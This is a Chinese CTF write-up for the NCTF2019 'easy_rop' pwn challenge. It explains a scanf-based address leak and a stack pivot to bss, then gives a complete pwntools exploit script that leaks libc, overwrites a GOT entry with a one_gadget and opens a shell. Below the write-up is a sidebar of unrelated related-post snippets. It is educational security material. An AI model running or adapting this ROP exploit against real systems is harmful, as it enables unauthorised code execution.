【Pwn】NCTF2019 easy_rop

攻防世界-pwn pwn-100(ROP) 此题是LCTF 2016年的pwn100 参考文章:https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=42933&ctid=157 0x01 文件分析 64位elf 无stack 无PIE   0x02 运行分析  看起来像一个无限循环,不断接收输入。   0x03 静态分析 main: sub_40068E: ... 阅读详情

查看程序保护。
在这里插入图片描述分析程序,程序只有一个main函数。
在这里插入图片描述
v6距离rbp为0x70,在输入数字的时候可以输34 * 4个字节的数,34*4-0x70=24,意味着可以溢出覆盖rbp,ret_address,以及返回地址下面的8个字节。main函数的old_rbp值实际上是代码段init的地址,返回地址位置是libc中的一个地址。scanf函数%d当输入为 '+'时不会改变原内存中数据,于是可以来泄露代码段首地址。在输入number之后可以在bss段上输入数据,由于溢出的大小不够所以想到用栈迁移的方式来做。用RopGadget工具发现了一个修改esp的gadget。
在这里插入图片描述
在返回地址下面,即能溢出的最后8个字节,填上bss段上的地址,那么ret后在执行这段gadget的pop rsp时,栈顶指针就到了bss段上,只要控制bss段上的数据,就可以继续进行rop,从而getshell,exp如下:

from  pwn import *

io=remote('xx.xx.xx.xx',xxxxx)

def a(data):
    io.recvuntil(': ')
    io.sendline(data)
for i in range(26):
    a('0')
a('+')
a('+')
a('+')
io.recvuntil('= ')#得到init地址
init_low=int(io.recvline())
if init_low<0:
    init_low=init_low+2**32
a('+')
io.recvuntil('= ')
init_high=int(io.recvline())
init=(init_high<<32)+init_low
print(hex(init))
base=init-0x0B40#计算代码段基址
bss=base+0x201420-0x18#-0x18是因为pop esp 后面还有三个pop操作。
print(hex(bss))
pop_rdi=base+0x0ba3
pop_rsp=base+0x0b9d
pop_rsi=base+0x0ba1
puts_plt=base+0x00810
write_plt=base+0x0820
puts_got=base+0x201238
read_plt=base+0x00850

a(str(pop_rsp&0xffffffff))
a(str(pop_rsp>>32))
a(str(bss&0xffffffff))
a(str(bss>>32))
pl=p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(puts_got)+p64(0)+p64(write_plt)#write 泄露puts的地址,这里试过用puts泄露,但是后面的read会出问题,原因可能是在使用puts时改变了rdx的值,使read的第三个参数出问题。
pl+=p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(puts_got)+p64(0)+p64(read_plt)#覆盖puts_got为one_gadget
pl+=p64(puts_plt)#调用puts,getshell
io.send(pl)

io.recvuntil('your name?\n',True)
libc=u64(io.recv(8))-0x06f690
print(hex(libc))
one_gadget=libc+0xf1147
io.sendline(p64(one_gadget))

io.interactive()
Linux pwn入门教程(3)——ROP技术 作者:Tangerine@SAINTSEC原文来自:https://bbs.ichunqiu.com/thread-42530-1-1.html0×00 背景在上一篇教程的《shellcode的变形》一节中,我们提到过内存页的RWX三种属性。显然,如果某一页内存没有可写(W)属性,我们就无法向里面写入代码,如果没有可执行(X)属性,写入到内存页中的shellcode就无法执行。关于这个特性的实验在... 阅读详情

相关推荐

rOpbaby-CTFPWN ROP练习题

DefConCTF 2015 Quals CTFPWN ROP练习题 可用于练习基础的ROP

XSCTF联合招新赛(热身赛)babystack & easyrop

开启了栈不可执行,但是在 IDA Pro 中发现了backdoor函数。

红叶的博客 2252

别再为批次效应发愁了!手把手教你用Harmony整合10x单细胞数据(附完整R代码)

本文详细介绍了如何使用Harmony工具消除单细胞数据中的批次效应,提供完整的R代码实现跨样本数据整合。通过模糊聚类和渐进校正技术,Harmony能有效区分技术噪音与真实生物信号,适用于大型数据集处理。文章包含质控要点、参数设置建议及常见问题解决方案,助力研究者获得高质量整合结果。

weixin_27215403的博客 197

mrctf2020_easyrop

mrctf2020_easyrop 查看保护 简单题 用hehe和byby这两个函数配合起来rop就行 from pwn import * from time import sleep context(arch='amd64', os='linux', log_level='debug') file_name = './z1r0' li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m') ll = lambda x : print('\x1

z1r0的博客 617

Linux内核4.14版本——drm框架分析(1)——drm简介

drm框架分析

yangguoyu8023的博客 1万+

西门子V90 PN伺服控制核心:FB284功能块详解与实战

在工业自动化中,伺服定位控制是运动控制的基础环节,其本质是PLC通过PROFINET协议与伺服驱动器实现高速、确定性数据交互。FB284作为西门子为V90 PN定制的标准化功能块,封装了GSD映射、状态机管理与周期性PDO同步机制,将底层寄存器操作抽象为高可靠调用接口。相比MOVE指令或MC_MoveAbsolute等通用方案,FB284显著降低时序错乱风险,提升多轴同步精度与故障响应能力。它广泛应用于包装、灌装、装配等中端产线,尤其适配S7-1200/1500平台下的快速部署与现场维护。本文聚焦V90 P

weixin_42696271的博客 300

2022 VNCTF easyROPtocol

一道协议逆向+orwROP的题,基本上难度在于给出符合要求的协议头和校验和 拿到题目: 在打印的信息中我们可以获取到,这个程序是TCP protocol的C语言实现 于是先把TCP的头部结构拿过来: 首先进add函数里看看: 可以看到能够申请最多4个chunk,每个chunk最多0x1000 生成之后要通过check_head函数和check_sum的检测 首先看check_head: 从这里可以得到确定一些头部信息,如源端口和目的端口,还有urgent_ptr必须为0,等,还有一些属性只能缩小范围,

weixin_46483787的博客 2010

实战解析:从Innovus到Calibre的LVS错误排查全流程

本文详细解析了从Innovus到Calibre的LVS错误排查全流程,涵盖物理验证关键步骤与工具链协同。通过实战案例分享,重点解决器件不匹配、连接性错误等常见问题,并提供GDS导出规范、网表修正策略等实用技巧,帮助工程师高效完成芯片设计物理验证。

9o8p7i6u5y的博客 1037

NCTF2019 -- PWN部分writeup

easy_rop 链接:https://pan.baidu.com/s/1ohXfpbiIb3jjHpYtcuS9xA 提取码:lz3e 文件防护 反汇编 调试的时候发现main函数的rbp居然是pie,而返回地址下面第四行是main函数自己的头部指针 已知条件 存在栈溢出,大小为4个栈单元 开启了canary保护,可以用’+'号绕过 main函数的 rbp 为 pie(基址) main函...

lzyddf的博客 1457

C# 开发实战:深度解析 13.56MHz 射频卡读写应用

本文详细介绍了如何在 C# 环境下开发 13.56MHz 射频卡的读写应用。通过 ACR122U 作为硬件设备,结合 C# 提供的 COM 组件或 SDK,我们能够实现对射频卡的读取与写入功能。在实际开发中,开发者还需要根据具体应用场景选择合适的卡片类型与设备,并注意性能优化和异常处理。随着技术的发展,RFID 技术的应用场景会越来越广泛,开发者可以根据不同需求,灵活扩展读写功能,实现更加智能化和自动化的系统。

这里只有干货:从 Modbus 通信到 MES 对接,从 YOLO 训练到工控机部署,带你搞定工业软件开发全流程。 1602

FPGA电路设计2——芯片原理图绘制

FPGA板卡设计要点:1. 引脚分配遵循电平标准分组原则,需通过预编译验证;2. 电源设计需满足上电时序要求并合理估算功耗;3. 最小系统包含配置Bank(Bank0)、通用I/O Bank(HRBank)、高性能Bank(HPBank)和高速收发器Bank(MGT/GTX)。其中Bank0负责关键配置功能,包括模式选择(支持SPI/BPI/JTAG等5种配置方式)、JTAG调试接口和系统监控引脚,其电压选择(CFGBVS_0)必须与VCCO_0电压匹配。

在读研究生,FPGA电路设计与功能开发。 1238

【CTFshow-pwn系列】03_栈溢出【pwn 038】详解:Ret2Text 之 64位与栈对齐

本文仅用于技术研究,禁止非法用途。Pwn038 为 64 位程序,开启 NX、无 Canary 与 PIE,核心考64 位 Ret2Text + 栈对齐。漏洞函数 read 存在栈溢出,经计算溢出偏移为 18 字节。程序内置 system 后门,64 位 Linux 调用 system 需 RSP 16 字节对齐,直接跳转必崩溃。需插入 ret 指令 gadget 调整栈指针,构造 Payload:18 字节填充 + p64 (ret 地址)+p64 (后门地址),劫持流程执行后门拿 Shell。

一只枷锁的博客 1824

学Simulink——十二脉波整流电路(移相变压器)谐波抵消仿真

Y:Δ = 1:√3(若 DC 同压)— 此处同相电压故 220V(Y)=220V(Δ phase)Y(相电压=220V)、Δ(线电压=380V ⇒ 相=220V,30° 移相)可经 Lbal​=0.5mH(平衡电抗)或直接短(大 L_dc 下均流尚可)✅ 直流输出纹波频率 = 12·f_line(vs 6·f_line)直流输出 → Ldc​=50mH→Cdc​=2200µF→R=30Ω。Line‑Line RMS = 380 V(⇒ 相=220V)Vdc​≈1.35⋅380≈513V(同 6‑脉波)

xiaoheshang_123的博客 59

攻防世界PWN之EasyPwn题解

EasyPwn 首先,看一下程序的保护机制 开启了CANARY、NX和PIE,RELRO部分开启,我们可以改写GOT表 然后,我们用IDA分析 read的maxsize参数比变量的空间大小要小,因此无法溢出到栈底,加上开启了PIE,因此排除了ROP的方法 我们再仔细观察一下,发现snprintf在执行的过程中,v2可以溢出到v3,而v3存储的是格式化字符串,因此,我们可以溢出v2...

seaaseesa的博客 4867

在ros中进行多传感器融合定位

ROS 中的 robots_localization 包是一个非常有用的包,可以使用各种卡尔曼滤波器融合任意数量的传感器!我们将使用它将全局姿势数据(x、y、z 和orientation)与机器人上的现有传感器融合,以实现更强大的定位!

如果想成为中心,那么就到中心去吧。 3003

深度学习工具包 DeepLearningToolbox

深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

pwn-栈迁移-ROP

# 栈迁移-ROP 题目描述 这里给出题目链接 https://github.com/LeeHaming/CTF-learn/blob/master/easyR0p/easyR0p 程序的结构很简单,main()函数中有一个while(1)的循环,循环中rop()函数执行。 rop()中有明显的栈溢出,最开始给s申请的内存空间为:0x40;然而read()可以读入0x50字节。 于是就...

leeham的博客 4485

锂电池充电器电路设计 里面有电路

锂电池充电器电路设计 里面有电路 3.7V升压到5V电路设计。

pwn 暑假复习二 简单rop

例一:ret2shellcode 先复习一下计算与ebp的距离的方法,昨天复习的是用pattern来寻找,今天复习另一种,以ctfwiki的ret2text为例。先用ida打开查看源码int __cdecl main(int argc, const char **argv, const char **envp) { int v4; // [sp+1Ch] [bp-64h]@1 setvb...

SsMing的博客 2219

Statistics and Machine Learning Toolbox

Statistics and Machine Learning Toolbox(带书签),MATLAB统计学习工具

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

pwn --rop

rop练习—Very Secure Systemrop 真爽。。题目链接:http://pan.baidu.com/s/1eSd0XTg 注:.bak是原题,原题有个过10s自动退出程序的设置,不好调试,我用ida打了个patch,就是另一个文件,两个文件只有这一个区别漏洞分析:这个程序是静态加载的,所以got表没有用,顺带dynelf也不行,也没提供libc。但是有一个函数可以溢出,但是只溢出了

Vccxx的博客 2174

攻防世界PWN之easy_fmt题解

Easyfmt 首先,检查一下程序的保护机制 然后,我们用IDA分析一下 存在一个明显的格式化字符串漏洞,但是只能用一次,后面exit(0)会结束程序 CheckIn需要爆破 是一个随机数,且只有一位,我们直接输入2,成功率1/10 为了不让程序退出,多次利用printf,我们就得利用第一次的printf把exit的got表内容修改为0x400982,这样,我们就能一直处于...

seaaseesa的博客 3031

火种CTF PWN easyshellcode writeup

检查一下程序保护机制 没有开启NX,也有RWX可读可写可执行的段 将程序拖入IDA 可以看到gets(&s)这里存在溢出漏洞,会将s字符复制0x64字节给buf2 利用思路: **将shellcode写到&s,再填充A覆盖只EIP填入buf2的地址 **这样执行EIP的时候即是执行buf2里面的shellcode 获取到buf2的地址 exploit如下: #coding:u...

qq_41743240的博客 2392

pwn学习-基本ROP

CTF-WIKI-pwn-基本ROP 漏洞复现 ret2text 首先检查程序的保护机制。 关于各个保护机制的介绍 :https://www.cnblogs.com/Spider-spiders/p/8798628.html 看到只开启了NX保护,即不可在栈上执行代码。 使用IDA查看源码,可以看到这里有一个危险的gets函数 以及这里有一个system函数 所以如...

WocW的博客 2140

BUUCTF [NCTF2019]babyRSA解题思路

BUUCTF [NCTF2019]babyRSA 这是一道RSA的题目,前几天看祥云杯的RSA做到自闭,做点简单的题转换一下心情。 下载文件之后是一个压缩包,里面有一个py文件,题目如下: from Crypto.Util.number import * from flag import flag def nextPrime(n): n += 2 if n & 1 else 1 while not isPrime(n): n += 2 return n p

weixin_45441024的博客 3223

基本ROP技巧总结

ROP攻击前提:存在栈溢出并且可以控制返回地址存在满足条件的gadget,如果开启了PIE保护则要想办法泄露gadget的地址ret2text程序本身存在类似于system('/bin/sh')或者execv('/bin/sh')的片段,我们可以直接将返回地址覆盖为其地址跳转到已有代码上。例子:TODOret2shellcode这种方法要求我们自己构造shellcode并控制程序跳转到我们构造的s...

极目楚天舒的博客 5969

位图的光栅操作及ROP码解析

位图的光栅操作及ROP码解析(SnowStart于2005年3月22日)位图是windows图形编程中非常重要的一个方面。在进行普通的位图操作中,如GDI函数BitBlt,StretchBlt, StretchDIBits,都会用到一个光栅操作码,即ROP码,像SRCCOPY,PATPAINT,SRCAND等,由于最近在开发图形驱动,涉及了许多的ROP2,ROP3和ROP4码的操作,对RO

ChipArtist's Blogs 6013

[NCTF2019]babyRSA

问题 拿到压缩包,解压后得到一个加密脚本 脚本分析 from Crypto.Util.number import * from flag import flag def nextPrime(n): n += 2 if n & 1 else 1 while not isPrime(n): n += 2 return n p = getPrime(1024) q = nextPrime(p) n = p * q e = 0x10001 d = inverse

weixin_44110537的博客 3698

easyROPtocol

感觉重点在构造,但其实跑起来试试就逝世。拉锯数小时,beng bu zhu le。 官方wp传送门VNCTF 2022 Official WriteUp.pdf (tonycrane.cc) 打开main,里面123对应着创建删除运行。 重点在1里 第二个if如果不满足就会删除 v1里 决定了前4位的数(如果选择两个一起放,记得处理小端序),后面则告诉我们几位不能为0几位必须为0,12里非5即6 第二个里是个^。先去处理第一个,第二个再处理。 struct message { .

u014377094的博客 283
上一篇: 【Pwn】2019安洵杯线上赛 Heap
下一篇: 【Pwn】SWPUCTF_2019_login
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值